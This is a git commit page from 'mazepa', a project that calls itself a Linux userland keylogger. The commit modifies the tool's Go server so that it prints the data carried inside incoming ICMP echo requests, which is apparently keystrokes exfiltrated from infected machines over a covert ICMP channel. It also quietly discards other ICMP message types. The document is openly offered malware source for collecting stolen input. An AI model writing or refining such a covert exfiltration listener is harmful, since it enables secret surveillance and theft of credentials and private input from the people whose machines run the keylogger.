mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 4bdb3830da233706b5bdcd8819c9531492a0b14e
parent 7cfbcca219fb489f2e5300afcf9201c1cfeb33be
Author: djnn <[email protected]>
Date: Sun, 18 Jan 2026 16:13:19 +0900

fix(server): improve logging to stdout a bit.

Diffstat:
Mmazepa-server/icmp/pkg.go | 10+++++++---

1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/mazepa-server/icmp/pkg.go b/mazepa-server/icmp/pkg.go
@@ -99,14 +99,16 @@ func sendReply(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr) error {
 
 func handleEchoRequest(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, replyType icmp.Type) {
 	echoBody := msg.Body.(*icmp.Echo)
-	log.Printf("Received Echo Request from %v: ID=%d, Seq=%d", peer, echoBody.ID, echoBody.Seq)
+
+	if len(echoBody.Data) > 0 {
+		log.Printf("[%v] %s", peer, string(echoBody.Data))
+	}
 
 	reply := createEchoReply(echoBody, replyType)
 	if err := sendReply(conn, reply, peer); err != nil {
 		log.Printf("Failed to send reply: %v", err)
 		return
 	}
-	log.Printf("Sent Echo Reply to %v", peer)
 }
 
 func handleEchoReply(peer net.Addr) {
@@ -114,7 +116,9 @@ func handleEchoReply(peer net.Addr) {
 }
 
 func handleUnknownType(msgType icmp.Type, peer net.Addr) {
-	log.Printf("Received unhandled ICMP message type %v from %v", msgType, peer)
+	// Silently ignore destination unreachable and other noise
+	_ = msgType
+	_ = peer
 }
 
 func processMessage(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, echoRequest, echoReply icmp.Type) {